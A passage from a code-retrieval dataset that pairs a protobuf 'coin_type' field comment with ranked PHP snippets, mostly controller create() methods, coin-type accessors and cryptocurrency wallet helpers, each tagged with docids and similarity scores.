"0.6864917", "text": "public function create()\n {\n return view('turno_new');\n }", "title": "" }, { "docid": "2a71d846a803ec0f01b511570f628c2f", "score": "0.6863774", "text": "public function get_create()\n\t{\n\t\t$this->layout->title = 'New Relationship';\n\t\t$this->layout->content = View::make('relationships.create');\n\t}", "title": "" }, { "docid": "46163db00cf7d58cd76418e971c834ad", "score": "0.6862537", "text": "public function create()\n\t{\n\t\treturn view('palestra.create');\n\t}", "title": "" }, { "docid": "d46a9ae5fd9725a20632fb60f3ec32f6", "score": "0.68610543", "text": "public function adminCreate()\n {\n $configuration = $this->getFormFieldData();\n $configuration ['title_name'] = trans('app.file_upload');\n $configuration ['title'] = trans('app.resources');\n $configuration ['back_to_list'] = route('app.resources.index');\n return view('admin.adminForm',$configuration);\n }", "title": "" }, { "docid": "1c0601360736a4b5109044192d5528ed", "score": "0.6860876", "text": "public function create()\n {\n $data = array();\n $data['add'] = trans('main.add');\n return view('service.form', $data);\n }", "title": "" }, { "docid": "c2f03754ef7971403714c63774c1d964", "score": "0.68596876", "text": "public function create()\n {\n return view('modules.products.form');\n }", "title": "" }, { "docid": "68eac3e9797e63312bcbb06b4b9195ef", "score": "0.6857646", "text": "public function create()\n {\n return view('mineral.create');\n }", "title": "" }, { "docid": "b6cf76e82d6be800a92287cc947f7fa7", "score": "0.68554914", "text": "public function newAction()\n {\n $entity = new Plancapacitacion();\n $form = $this->createForm(new PlancapacitacionType(), $entity);\n\n // Incluimos camino de migas\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem(\"Inicio\", $this->get(\"router\")->generate(\"hello_page\"));\n $breadcrumbs->addItem(\"Capacitaciones\", $this->get(\"router\")->generate(\"pantalla_modulo\",array('id'=>3)));\n $breadcrumbs->addItem(\"Plan de capacitaciones\", $this->get(\"router\")->generate(\"pantalla_capacitaciones\"));\n $breadcrumbs->addItem(\"Registrar plan\",\"\");\n \n return $this->render('CapacitacionBundle:Plancapacitacion:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "title": "" } ]
4275875be30c1766a08a0b70cd82a2e6
Generated from protobuf field string coin_type = 9;
[ { "docid": "cbb6be3e668ed6d81d398e331c1ea774", "score": "0.70717764", "text": "public function setCoinType($var)\n {\n GPBUtil::checkString($var, True);\n $this->coin_type = $var;\n\n return $this;\n }", "title": "" } ]
[ { "docid": "54edcacd677044e2513c319211d1a4c4", "score": "0.7469013", "text": "public function getCoinType()\n {\n return $this->coin_type;\n }", "title": "" }, { "docid": "a1b58d8dffd70549960b0a9e56e60b27", "score": "0.691296", "text": "public function set_CoinsType($type)\r\n\t{\r\n\t\t$this->CoinsType = $type;\r\n\t}", "title": "" }, { "docid": "28e462bf3c59e96e961ee995f82a7047", "score": "0.6153694", "text": "protected function coinEnum() {\n return new TypeDeclaration(\n new ParseTree(new TypeName('util.money'), [], new ClassNode(\n MODIFIER_PUBLIC, \n null,\n new TypeName('Coin'),\n new TypeName('lang.Enum'),\n null,\n [\n new EnumMemberNode(['name' => 'penny', 'value' => new IntegerNode('1'), 'body' => null]),\n new EnumMemberNode(['name' => 'nickel', 'value' => new IntegerNode('2'), 'body' => null]),\n new EnumMemberNode(['name' => 'dime', 'value' => new IntegerNode('10'), 'body' => null]),\n new EnumMemberNode(['name' => 'quarter', 'value' => new IntegerNode('25'), 'body' => null]),\n ]\n )),\n $this->objectClass()\n );\n }", "title": "" }, { "docid": "f46688161f0c91984f4ecff5ec7ed5d1", "score": "0.5797608", "text": "function openCoinBox($type) {\n $coinBoxRanges = array(\n Inventory::ITEM_COINBOX => array(200, 400),\n Inventory::ITEM_DOUBLECOINBOX => array(400, 800),\n Inventory::ITEM_TRIPLECOINBOX => array(600, 1200),\n Inventory::ITEM_MYSTERYCOINBOX => array(1200, 1500)\n );\n \n $coins = 0;\n if (array_key_exists($type, $coinBoxRanges))\n $coins = rand($coinBoxRanges[$type][0], $coinBoxRanges[$type][1]);\n return $coins;\n}", "title": "" }, { "docid": "f286aab605caa2542835a5d6da4c8e78", "score": "0.55009735", "text": "public function getType() {\n return 'B1';\n }", "title": "" }, { "docid": "8b3126754857af709edb6720ab89ff32", "score": "0.5284906", "text": "public static function convertCash($amount, $coin_type)\n {\n $setting = Setting::find(1);\n\n $conversation_rate = $setting->coin_rate;\n\n // expected format is btc:rate,eth:rate convert to array\n $convert_conversation_rate = explode(',', $conversation_rate);\n\n $current_coin = '';\n\n //loop through convert conversation rate\n for ($i = 0; $i < count($convert_conversation_rate); $i++) {\n\n // check which conversation rate contain the coin type request\n if (strpos($convert_conversation_rate[$i], $coin_type)) {\n $current_coin = $convert_conversation_rate[$i];\n return;\n }\n\n }\n\n $convert_rate = explode(':', $current_coin);\n\n // return expected amount\n return $amount / $convert_rate[1];\n }", "title": "" }, { "docid": "f6b2dbf3ac7891ff054257e74d17b9e4", "score": "0.52013963", "text": "public function type(): string\n {\n return \"buyer\";\n }", "title": "" }, { "docid": "96514e5749ae1494ece555c4a94c4dc5", "score": "0.51570284", "text": "public function getTypeCode()\n {\n switch ($this->type) {\n case self::TYPE_SELL:\n $result = 'sell';\n break;\n case self::TYPE_SELL_REFUND:\n $result = 'sell_refund';\n break;\n case self::TYPE_BUY:\n $result = 'buy';\n break;\n case self::TYPE_BUY_REFUND:\n $result = 'buy_refund';\n break;\n default:\n $result = null;\n break;\n }\n\n return $result;\n }", "title": "" }, { "docid": "5c84e3c7d84c6d066950bd7aa19b4a0e", "score": "0.5143799", "text": "public function getDesignTypesList(string $coinType): array\n {\n $statement = $this->pdo->prepare(\"call CoinGetDesignTypeByCoinType(:type)\");\n $statement->bindValue(':type', $coinType, PDO::PARAM_STR);\n $statement->execute();\n $coinTypes = $statement->fetchAll(PDO::FETCH_COLUMN);\n if (!$coinTypes) {\n return [0 => 'None'];\n //throw new UnknownCoinTypeException(\"Could not get getDesignTypesList from {$coinType}\");\n }\n return $coinTypes;\n }", "title": "" }, { "docid": "22c2d6ef04b0e166fc410564b53f3c68", "score": "0.51419145", "text": "public function getTypeAttribute()\n {\n return 'DEBIT';\n }", "title": "" }, { "docid": "4242fdc5fa3dfe96a6201dfd2390279e", "score": "0.5138558", "text": "public function getBagTypeCountPlus($userID, $coinType)\n {\n $sql = mysql_query(\"SELECT * FROM collectbags WHERE coinType = '\" . str_replace('_', ' ', $coinType) . \"' AND userID = '$userID'\");\n return mysql_num_rows($sql) + 1;\n }", "title": "" }, { "docid": "f00dcce2f353cc8a3d0593a4b678ad8d", "score": "0.51363057", "text": "public static function getType($type): string\n {\n return config('ifrs')['transactions'][$type];\n }", "title": "" }, { "docid": "37f60bb6d1edab29aaf1b2ed81628afb", "score": "0.51266044", "text": "public static function types()\n {\n return array(\n Characteristic::TYPE_NORMAL => 'NORMAL', \n Characteristic::TYPE_SEXUAL_MATURITY => 'SEXUAL_MATURITY', \n Characteristic::TYPE_HEAT_CYCLE => 'HEAT_CYCLE', \n Characteristic::TYPE_LITTER_SIZE => 'LITTER_SIZE', \n Characteristic::TYPE_FERTILITY_SPAN => 'FERTILITY_SPAN', \n Characteristic::TYPE_FERTILITY_DROP_OFF => 'FERTILITY_DROP_OFF', \n Characteristic::TYPE_IMMUNE_SYSTEM => 'IMMUNE_SYSTEM', \n Characteristic::TYPE_LIFE_SPAN => 'LIFE_SPAN', \n Characteristic::TYPE_IMMUNE_SYSTEM_DISEASE => 'IMMUNE_SYSTEM_DISEASE', \n Characteristic::TYPE_FERTILITY => 'FERTILITY', \n Characteristic::TYPE_COLOUR => 'COLOUR', \n Characteristic::TYPE_OLD_AGE => 'OLD_AGE', \n );\n }", "title": "" }, { "docid": "f255450c5add5281fc61f14654277d5b", "score": "0.51224214", "text": "public function getCoin()\n {\n return $this->coin;\n }", "title": "" }, { "docid": "51bc047bb5e84ce61bea8faf58967186", "score": "0.51200366", "text": "function priceTypeDescription($type) {\n Assert::int($type);\n\n switch ($type) {\n case PRICE_CLOSE : return(\"Close\" );\n case PRICE_OPEN : return(\"Open\" );\n case PRICE_HIGH : return(\"High\" );\n case PRICE_LOW : return(\"Low\" );\n case PRICE_MEDIAN : return(\"Median\" ); // (High+Low)/2\n case PRICE_TYPICAL : return(\"Typical\" ); // (High+Low+Close)/3\n case PRICE_WEIGHTED: return(\"Weighted\"); // (High+Low+Close+Close)/4\n case PRICE_BID : return(\"Bid\" );\n case PRICE_ASK : return(\"Ask\" );\n }\n return (string) $type;\n}", "title": "" }, { "docid": "9614d9d81ee1bd859b28c4c1341394ed", "score": "0.50933576", "text": "function _getCouponTypeStr($type) {\n $transTypeNames = array(\n\t-1 => 'Brick',\n\t0 => 'PAH', \n\t8 => 'Duet Prelude', \n\t9 => 'Duet Offer',\n\t13 => 'Video Offer',\n\t14 => 'CPA Pod',\n\t16 => 'Mobile',\n\t15 => 'CPC Pod',\n\t17 => 'Single on-request',\n\t18 => 'Duet on-request',\n\t19 => 'Video on-request',\n\t20 => 'CPC on-request',\n\t21 => 'CPA on-request',\n\t22 => 'Mail Order',\n\t23 => 'Local',\n\t26 => 'Save-to-Card',\n\t27 => 'Save-to-Card Printable',\n\t30 => 'Restaurant.com',\n\t31 => 'Universal',\n\t32 => 'CLOE',\n\t33 => 'Digital conversion'\n );\n return ($transTypeNames[$type]) ? : ''; \n}", "title": "" }, { "docid": "133b065db5c7e02a406bf09c77ed60a3", "score": "0.50624615", "text": "public function getCoinbaseChargeCode();", "title": "" }, { "docid": "bda23fb116d5cf59bd1b76ed65d04015", "score": "0.5043074", "text": "public function getType() { return 'gifted'; }", "title": "" }, { "docid": "87e0b61cc1208df516fb306d8b9756f5", "score": "0.5039895", "text": "public static function getLabel($type) {\n switch ($type) {\n case self::NONE:\n return \"None\";\n break;\n case self::LEADERBOARDS:\n return \"Leaderboards\";\n break;\n case self::CALLSIGN:\n return \"Callsign\";\n break;\n case self::OPTIONALCONVERSATIONS:\n return \"OptionalConversations\";\n break;\n case self::CLANBANNER:\n return \"ClanBanner\";\n break;\n case self::D2INVESTMENTDATA:\n return \"D2InvestmentData\";\n break;\n case self::TAGS:\n return \"Tags\";\n break;\n case self::ALLIANCES:\n return \"Alliances\";\n break;\n default:\n return \"\";\n break;\n }\n }", "title": "" }, { "docid": "e6b2d590763d85275eea2f886cf8624d", "score": "0.50027716", "text": "public function bom($type)\n {\n return $this->byteOrderMarks[$type];\n }", "title": "" }, { "docid": "6a7ba3916b63dc19c991813ebfaf11bb", "score": "0.4990048", "text": "public function setCoin($var)\n {\n GPBUtil::checkEnum($var, \\Gincoinc\\PBGlobal\\V1\\Coin::class);\n $this->coin = $var;\n\n return $this;\n }", "title": "" }, { "docid": "ee114809e1c7ae7db244ec48237205f3", "score": "0.49848685", "text": "protected function coins(): array\n {\n return [\n [\n 'code' => 'coin-100',\n 'name' => 'Seratus',\n 'value' => 100,\n 'type' => DenominationType::coin(),\n 'quantity_per_bundle' => 25,\n 'minimum_order_bundle' => 1,\n 'maximum_order_bundle' => 2,\n 'minimum_order_quantity' => 1,\n 'image' => 'coin-100.png',\n ],\n [\n 'code' => 'coin-200',\n 'name' => 'Dua ratus',\n 'value' => 200,\n 'type' => DenominationType::coin(),\n 'quantity_per_bundle' => 25,\n 'minimum_order_bundle' => 1,\n 'maximum_order_bundle' => 2,\n 'minimum_order_quantity' => 1,\n 'image' => 'coin-200.png',\n ],\n [\n 'code' => 'coin-500',\n 'name' => 'Lima ratus',\n 'value' => 500,\n 'type' => DenominationType::coin(),\n 'quantity_per_bundle' => 25,\n 'minimum_order_bundle' => 1,\n 'maximum_order_bundle' => 2,\n 'minimum_order_quantity' => 1,\n 'image' => 'coin-500.png',\n ],\n [\n 'code' => 'coin-1000',\n 'name' => 'Seribu',\n 'value' => 1000,\n 'type' => DenominationType::coin(),\n 'quantity_per_bundle' => 25,\n 'minimum_order_bundle' => 1,\n 'maximum_order_bundle' => 2,\n 'minimum_order_quantity' => 1,\n 'image' => 'coin-1000.jpg',\n ],\n ];\n }", "title": "" }, { "docid": "65e20ab801f37d13b8a1f715652f2bbb", "score": "0.49422553", "text": "private function GenerateWallet( $type, $name = null ) {\n $data = [];\n switch ($type) {\n case \"bitgo\":\n $bitgo = new BitGoSDK();\n $bitgo->authenticateWithAccessToken(config('app.bitgo_token'));\n $wallet = $bitgo->wallets();\n //set mat khau mac dinh\n $createWallet = $wallet->createWallet($data['email'],config('app.bitgo_password'),\"keyternal\");\n $addressWallet = $idWallet = $createWallet['wallet']->getID();\n //backup key ...\n $backupKey = json_encode($createWallet);\n //add hook ...\n $wallet = $bitgo->wallets()->getWallet($idWallet);\n $createWebhook = $wallet->createWebhook(\"transaction\",config('app.bitgo_hook'));\n return $data = [ 'idWallet' => $idWallet ];\n case self::COINBASE:\n // tạo acc ví cho tk\n $configuration = Configuration::apiKey( config('app.coinbase_key'), config('app.coinbase_secret'));\n $client = Client::create($configuration);\n $account = new Account([\n 'name' => $name\n ]);\n $client->createAccount($account);\n $accountId = $account->getId();\n \n // tạo địa chỉ ví || get địa chỉ ví\n $account = $client->getAccount($accountId);\n $address = new Address([\n 'name' => $name\n ]);\n $client->createAccountAddress($account, $address);\n\n $addressId = $client->getAccountAddresses($account);\n $addresses = $client->getAccountAddress($account, $addressId->getFirstId());\n\n $data = [ \"accountId\" => $accountId,\n \"walletAddress\" => $addresses->getAddress() ];\n return $data;\n default:\n echo \"chưa chọn lựa loại ví\";\n }\n }", "title": "" }, { "docid": "54f01291c2db0bd8680f643cb3e91fb0", "score": "0.4933739", "text": "public function testCoin() {\n\t}", "title": "" }, { "docid": "c6897f6e19c02375640bc16b18edc384", "score": "0.4909195", "text": "public function testThrowExceptionOnInvalidCoinType()\n {\n $this->expectException(Exceptions\\InvalidWalletTypeException::class);\n Balances::fetch('Botchain');\n }", "title": "" }, { "docid": "184276e7eba2b063efd215f167749152", "score": "0.49011305", "text": "public function get_contribution_type() {\n\t\t$type = $this->benefactor->contribution_amount_is_per_item ? __( 'per item', 'charitable' ) : __( 'per purchase', 'charitable' );\n\t\treturn apply_filters( 'charitable_benefactor_contribution_type', $type, $this->benefactor->contribution_amount_is_per_item, $this );\n\t}", "title": "" }, { "docid": "96729906d04462685f482ae75bf971f8", "score": "0.48941132", "text": "function __getInType($type = '')\n {\n\t\t\n switch ($type) {\n\t\t\t\n\t\t\tcase 'visa':\n\t\t\t $str = 'B';\n break;\n\t\t\tcase 'invoice':\n\t\t\t $str = 'F';\n break;\n\t\t\tcase 'gift_card':\n\t\t\t $str = 'G';\n break;\n\t\t\tcase 'cash':\n\t\t\t $str = 'K';\n break;\n\t\t\tcase 'account':\n\t\t\t $str = 'kk';\n break;\n\t\t\tcase '':\n\t\t\t $str = 'kk';\n break;\n default:\n\t\t\t $str = 'B';\n break;\n\t\t\t\t\n\t\t}\n\t\t\n\t\treturn $str;\n\t\t\t\t\n\t}", "title": "" }, { "docid": "65d16648815dd136e864218a87c9c195", "score": "0.4865188", "text": "function get_qti_interaction_type($type_id) {\n switch( $type_id ) {\n case TRUEFALSE:\n $name = 'choiceInteraction';\n break;\n case MULTICHOICE:\n $name = 'choiceInteraction';\n break;\n case SHORTANSWER:\n $name = 'textInteraction';\n break;\n case NUMERICAL:\n $name = 'textInteraction';\n break;\n case MATCH:\n $name = 'matchInteraction';\n break;\n case DESCRIPTION:\n $name = 'extendedTextInteraction';\n break;\n case MULTIANSWER:\n $name = 'textInteraction';\n break;\n default:\n $name = 'textInteraction';\n }\n return $name;\n }", "title": "" }, { "docid": "1ee2c46bf61b14ae29b37dde06ed138f", "score": "0.48426932", "text": "protected function getTypeKey(): string\n {\n return self::TYPE;\n }", "title": "" }, { "docid": "8f40212d495de1d22825b64bdbfb72fd", "score": "0.48345986", "text": "public function getDesignsList(string $coinType): array\n {\n $statement = $this->pdo->prepare(\"call CoinGetDesignByType(:type)\");\n $statement->bindValue(':type', $coinType, PDO::PARAM_STR);\n $statement->execute();\n $coinTypes = $statement->fetchAll(PDO::FETCH_COLUMN);\n if (!$coinTypes) {\n return [0 => 'None'];\n //throw new UnknownCoinTypeException(\"Could not get getDesignsList from {$coinType}\");\n }\n return $coinTypes;\n }", "title": "" }, { "docid": "cdad6babc5171060b3312b71cef69d6b", "score": "0.48195994", "text": "public function submitOrder($type=null, $price=null, $amount=null, $coinname='tmc', $mkType='cny') {\n if (!$type || !$price || !$amount || !$coinname) {\n return false;\n }\n $url = 'submitOrder.php';\n $timestamp = time();\n $postData = [\n 'key' => $this->config['key'],\n 'time' => $timestamp,\n 'md5' => md5($this->privateKey . $timestamp),\n 'type' => $type,\n 'mk_type' => $mkType,\n 'price' => $price,\n 'amount' => $amount,\n 'coinname' => $coinname\n ];\n // var_dump($postData);\n $response = $this->client->post($url, [\n 'form_params' => $postData\n ]);\n $code = $response->getStatusCode(); // 200\n $reason = $response->getReasonPhrase(); // OK\n $body = $response->getBody();\n $remainingBytes = $body->getContents();\n $result = explode('|', $remainingBytes);\n return $result;\n }", "title": "" }, { "docid": "73af31c7ac1e6ec94dbf2f18cec5f5c6", "score": "0.48175994", "text": "static function getDataTypeGeneratePool($type) {\n \t$pool = 'abcdefghijklmnopqrstuvwxyz';\n\t\t$upper = strtoupper($pool);\n\t\t$nums = '';\n\t\tfor ($i=0; $i<=9; $i++) {\n\t\t\t$nums .= $i;\n\t\t}\n\t\tswitch($type) {\n\t\t\tcase 'ALPH':\n\t\t\t\t$pool .= $upper;\n\t\t\t\tbreak;\n\t\t\tcase 'ALPHUP':\n\t\t\t\t$pool = $upper;\n\t\t\t\tbreak;\n\t\t\tcase 'NUM':\n\t\t\t\t$pool = $nums;\n\t\t\t\tbreak;\n\t\t\tcase 'ALPHNUM':\n\t\t\t\t$pool .= $upper .= $nums;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t}\n\t\treturn $pool;\n }", "title": "" }, { "docid": "3e941d55f663b2a291c909135b5789d1", "score": "0.48050886", "text": "private function buildPacket($type, $content, $requestId = 1)\r\n {\r\n $clen = strlen($content);\r\n return chr(self::VERSION_1) /* version */\r\n . chr($type) /* type */\r\n . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */\r\n . chr($requestId & 0xFF) /* requestIdB0 */\r\n . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */\r\n . chr($clen & 0xFF) /* contentLengthB0 */\r\n . chr(0) /* paddingLength */\r\n . chr(0) /* reserved */\r\n . $content; /* content */\r\n }", "title": "" }, { "docid": "6ff2375d2df02abb74e8cd45cfda321c", "score": "0.47946066", "text": "protected function getBubbleType()\n {\n return $this->getChannelType();\n }", "title": "" }, { "docid": "158f56d2c6b0c6242c91f9c80082ac99", "score": "0.47868437", "text": "function RequestType($type){\n\t\tswitch($type){\n\t\t\tcase 1:$text=\"Casual Leaves\";\n\t\t\tbreak;\n\t\t\tcase 2:$text=\"Medical Leaves\"; \n\t\t\tbreak;\n\t\t\tcase 3:$text=\"Work From Home\";\n\t\t\tbreak;\n\t\t\tcase 4:$text=\"LOP\";\n\t\t\tbreak;\t\t\t\n\t\t\tcase 5:$text=\"Swap\"; \n\t\t\tbreak;\n\t\t}\n\t\treturn $text;\n\t}", "title": "" }, { "docid": "9db0975a3b141317cd41ec56620377c7", "score": "0.47567934", "text": "public function getType() : string {\n return 'Dummy';\n }", "title": "" }, { "docid": "ed60a264e75d16f15115c467f178b8ad", "score": "0.4754799", "text": "function GetMarketCap($coins, $price) {\n\t$symbol = '₿ ';\n\t$marketCap = ($coins * $price);\n\tif ($marketCap <= 0.0001) {\n\t\t$marketCap = ($marketCap*100000000);\n\t\t$symbol = ' Satoshis';\n\t\t$marketCap = number_format($marketCap, 2).$symbol;\n\t} else {\n\t\t$marketCap = $symbol.number_format($marketCap, 2);\n\t}\n\treturn $marketCap;\n}", "title": "" }, { "docid": "4060347b3c5db687dee682c8c82cad56", "score": "0.47502738", "text": "public function getCoinStatusAsString($Coin) \n {\n switch ($Coin->getStatus()) {\n case Coin::STATUS_DRAFT: return 'Draft';\n case Coin::STATUS_PUBLISHED: return 'Published';\n }\n \n return 'Unknown';\n }", "title": "" }, { "docid": "8cef2fa352b044780e5303cd93ee98e8", "score": "0.47254756", "text": "public static function getType(): string;", "title": "" }, { "docid": "13148b027502e8aa66c6975a269c5966", "score": "0.47206432", "text": "public function type()\n {\n return Lang::get('recipes.'.$this->entity->type);\n }", "title": "" }, { "docid": "2f7239a54abc71466cc15c04ab1a30c0", "score": "0.4718807", "text": "public static function type() {\n return self::$msg[\"type\"];\n }", "title": "" }, { "docid": "9cb43e118910fc46996238ded78699d9", "score": "0.4708834", "text": "public static function btccoin()\n\t{\n\t // iniate the coin in here, use some library, and include via vendor\n\t // and then add the namespace to the top of this file and then iniate it\n\t // like BitcoinClass\\Core\\BTC::start(); <--- psuedo code....\n\n\t}", "title": "" }, { "docid": "d67fde72148e93f29d5cb8fa4a177ead", "score": "0.4700636", "text": "public function setCurrencyType(&$var)\n {\n GPBUtil::checkRepeatedField($var, \\Google\\Protobuf\\Internal\\GPBType::STRING);\n $this->currency_type = $var;\n }", "title": "" }, { "docid": "671f1eb376bf2e08045d95597430d025", "score": "0.4700055", "text": "public static function getLabel($type)\n {\n switch ($type) {\n case self::PUBLICITY_PUBLIC:\n return \"Public\";\n break;\n case self::PUBLICITY_ALLIANCE:\n return \"Alliance\";\n break;\n case self::PUBLICITY_PRIVATE:\n return \"Private\";\n break;\n default:\n return '';\n break;\n }\n }", "title": "" }, { "docid": "9cfa8f110aeb2bd67349d2cbd6b7be6a", "score": "0.46837693", "text": "public function expectedReceivingKeyType(): string\n {\n return self::EXPECTED_RECEIVING_KEYS[$this->rawString()];\n }", "title": "" }, { "docid": "c562174da6d797643bf2d18d4ffb895e", "score": "0.46819758", "text": "public function getCoinDamageType($damage, $coinID, $userID)\n {\n $stmt = $this->db->dbhc->prepare(\"\n SELECT COUNT(*) FROM collection \n WHERE collection.userID = :userID AND collection.coinID = :coinID AND collection.damage = '0'\n \");\n $stmt->bindParam(':userID', $this->user, PDO::PARAM_INT);\n $stmt->bindParam(':coinID', $coinID, PDO::PARAM_INT);\n $stmt->execute();\n return $stmt->fetchColumn();\n\n //$sql = mysql_query(\"SELECT * FROM collection WHERE userID = '$userID' AND coinID = '\" . $coinID . \"' AND $damage != '0'\") or die(mysql_error());\n }", "title": "" }, { "docid": "ce202e9231aaca2e8c33775f6b49a2bd", "score": "0.46701616", "text": "private static function getCompoundEntrytype(bool $credited): string\n {\n return $credited ? Balance::CREDIT : Balance::DEBIT;\n }", "title": "" }, { "docid": "7e57f40e9d631fdd6eb6908592998345", "score": "0.4663025", "text": "public function getUCoin()\n {\n $value = $this->get(self::U_COIN);\n return $value === null ? (integer)$value : $value;\n }", "title": "" }, { "docid": "3919a50e98494d073d36b06cffef6e74", "score": "0.46591726", "text": "public function getCollectionCountByType($userID, $coinType)\n {\n $stmt = $this->db->dbhc->prepare(\"\n SELECT COUNT(*) FROM collection \n INNER JOIN coins ON collection.coinID = coins.coinID \n WHERE collection.userID = :userID AND coins.coinType = :coinType\n \");\n $stmt->bindParam(':userID', $this->user, PDO::PARAM_INT);\n $stmt->bindValue(':coinType', str_replace('_', ' ', $coinType), PDO::PARAM_STR);\n $stmt->execute();\n return $stmt->fetchColumn();\n //$sql = mysql_query(\"SELECT * FROM collection WHERE coinType = '\" . str_replace('_', ' ', $coinType) . \"' AND userID = '$userID'\");\n\n }", "title": "" }, { "docid": "2201b59e7dbe370552a16a56498355d2", "score": "0.4642099", "text": "public function getCoinsReceived();", "title": "" }, { "docid": "8f02da77a205d99cb51bd750a45dcd42", "score": "0.46293402", "text": "public static function getLabel($type)\n {\n switch ($type) {\n case self::UNKNOWN:\n return \"Unknown\";\n break;\n case self::BLUE:\n return \"Blue\";\n break;\n case self::YELLOW:\n return \"Yellow\";\n break;\n case self::RED:\n return \"Red\";\n break;\n default:\n return '';\n break;\n }\n }", "title": "" }, { "docid": "5b218420dc3a276a2c3d8c69b7539ec3", "score": "0.4627775", "text": "public function getType()\n {\n $types = Characteristic::types();\n\n return $types[$this->type_id];\n }", "title": "" }, { "docid": "298eb0ea91c9176632346a4e1f36d457", "score": "0.46155453", "text": "function getTypeKingdom($type) {\nswitch ($type){\n//0 \tNormal \n//1 \tPvP\n//4 \tNormal\n//6 \tRP\n//8 \tRP PvP \n case 01:\n return ' PVP-Fun ';\n case 04:\n return ' PVE BlizzLike ';\n case 06:\n return ' Rp ';\n case 08:\n return ' Rp Pvp '; \n default:\n return 'Mois';\n }\n}", "title": "" }, { "docid": "a1b2fc711a087c78dc35240b683d9a74", "score": "0.4614526", "text": "public function getMessageType(): string;", "title": "" }, { "docid": "bec06c29d03f5e4965b74428463e09f7", "score": "0.4612132", "text": "public function getCoinsExpected();", "title": "" }, { "docid": "1898325b442d8c24b52ba5d05d0765e1", "score": "0.46100512", "text": "public function getBeaconType()\r\n {\r\n $beacon = $this->getBeacon();\r\n return $beacon['type'];\r\n }", "title": "" }, { "docid": "a2419a891a87046a10eb4b22ce524e85", "score": "0.46089983", "text": "public function getTypeLabels()\n\t{\n\t\treturn array(\n\t\t\t\"coal\" => 'Уголь',\n\t\t\t\"gold\" => 'Золото',\n\t\t\t\"mineralwater\" => 'Минеральные воды',\n\t\t\t\"oil\" => 'Нефть',\n\t\t\t\"phosphorite\" => 'Фосфориты',\n\t\t\t\"uranium\" => 'Уран',\n\t\t\t\"vannadium\" => 'Ваннадий',\n\t\t);\n\t}", "title": "" }, { "docid": "197ea6c4c4b4fa99366e77c0ac1ea8b4", "score": "0.4608516", "text": "public function getPriceType();", "title": "" }, { "docid": "a27d35bec0e5f317c2f28d987332241c", "score": "0.46064746", "text": "public function getTypeString(){\n switch ($this->getType()){\n case 1:\n return \"Evidencia\";\n break;\n default:\n return \"Pago en Linea\";\n }\n }", "title": "" }, { "docid": "3857dc8880fe21c51d91149551fcda87", "score": "0.46003926", "text": "public function getCodecType(): string;", "title": "" }, { "docid": "9730e1266dbadf469fcc2f2e9096c6e9", "score": "0.45883664", "text": "public function getTransactionType(): string;", "title": "" }, { "docid": "427e3556029e2557b2e852263c8eda67", "score": "0.4582675", "text": "public function codeGenerator ($transactiontype)\n {\n $uniquenumber = date(\"ymdHis\");\n $microtime = substr(microtime(),2,6);\n\n switch ($transactiontype) {\n case 'bld':\n $generatedCode = \"BLD/\" . $uniquenumber . $microtime;\n break;\n\n case 'bbd':\n $generatedCode = \"BBD/\" . $uniquenumber . $microtime;\n break;\n\n case 'transaksi':\n $generatedCode = \"INV/\" . $uniquenumber . $microtime;\n break;\n \n default:\n # code...\n break;\n }\n\n return strtoupper($generatedCode);\n }", "title": "" }, { "docid": "a8e85d4b1a1ee9e6efa5fcf8ebad4978", "score": "0.45820227", "text": "function getType() { }", "title": "" }, { "docid": "6e5d886ce9cdb933394bfb5a7f0ed80a", "score": "0.45714647", "text": "protected function getType(): string\n {\n\n return 'corp';\n }", "title": "" }, { "docid": "2ef5ee86a5f155e4891197ce378b9300", "score": "0.45701373", "text": "public function get_coupon_type_text() {\r\n $type = $this->get_type();\r\n $supported_types = wpcoupon_get_coupon_types();\r\n\r\n if ( isset( $supported_types[ $type ] ) ) {\r\n return $supported_types[ $type ];\r\n }else{\r\n return esc_html__( 'Code', 'wp-coupon' );\r\n }\r\n }", "title": "" }, { "docid": "d974cd4fff6d99280bc74fddf571065a", "score": "0.45689628", "text": "public function getTypeAttribute()\n {\n switch ($this->attributes['TYPE']) {\n case 0:\n return 'ID';\n break;\n case 1:\n return 'Address';\n break;\n case 2:\n return 'IBAN';\n break;\n case 3:\n return 'Passport (European Community)';\n break;\n case 4:\n return 'Passport (outside the European Community)';\n break;\n case 5:\n return 'Residence permit';\n break;\n case 6:\n return 'Registry commerce number';\n break;\n case 21:\n return 'SDD mandate';\n break;\n default:\n return 'Others documents';\n break;\n }\n }", "title": "" }, { "docid": "e17928be5d8f27648c5c3ff637a0e94b", "score": "0.45530593", "text": "public function getCoinbaseStatus();", "title": "" }, { "docid": "5f507718912664b1dc00df4a02cbe8e5", "score": "0.45444548", "text": "public function definition()\n {\n return [\n 'coin_id' => $this->faker->randomElement($this->coins),\n 'price' => rand(1,1000000),\n 'price_change_percentage_24h' => rand(0,100)\n ];\n }", "title": "" }, { "docid": "98f96166536c1d81cbfdfdf0a94a945c", "score": "0.45400396", "text": "protected function type()\n {\n switch ($this->item['type'])\n {\n case 'store':\n $type = $this->isRent() ? 'For Rent Local' : 'For Sale Local';\n break;\n case 'lot':\n case 'state':\n $type = $this->isSale() ? 'Land For Sale' : 'Land For Rent';\n break;\n case 'industrial':\n $type = $this->isSale() ? 'Warehouse For Sale' : 'Warehouse For Rent';\n break;\n case 'hotel':\n case 'aparthotel':\n $type = 'Short Term Rentals';\n break;\n case 'duplex':\n case 'house':\n case 'penthouse':\n case 'villa':\n case 'apartment':\n\t\t\tcase 'terraced_house':\n default:\n $type = $this->isRent() ? 'For Rent' : 'For Sale';\n break;\n }\n\n return $type;\n }", "title": "" }, { "docid": "ad3b6be96c4ea94709f7248aa5856cec", "score": "0.453597", "text": "public static function uniType($type) {\n\t\t$type = strtolower($type);\n\t\t//Numeric Types (Integer)\n\t\tif ($type == \"int\") return self::DB_FIELD_TYPE_INTEGER;\n\t\tif ($type == \"smallint\") return self::DB_FIELD_TYPE_INTEGER;\n\t\tif ($type == \"integer\") return self::DB_FIELD_TYPE_INTEGER;\n\t\tif ($type == \"bigint\") return self::DB_FIELD_TYPE_INTEGER;\n\t\tif ($type == \"smallserial\") return self::DB_FIELD_TYPE_INTEGER;\n\t\tif ($type == \"serial\") return self::DB_FIELD_TYPE_INTEGER;\n\t\tif ($type == \"bigserial\") return 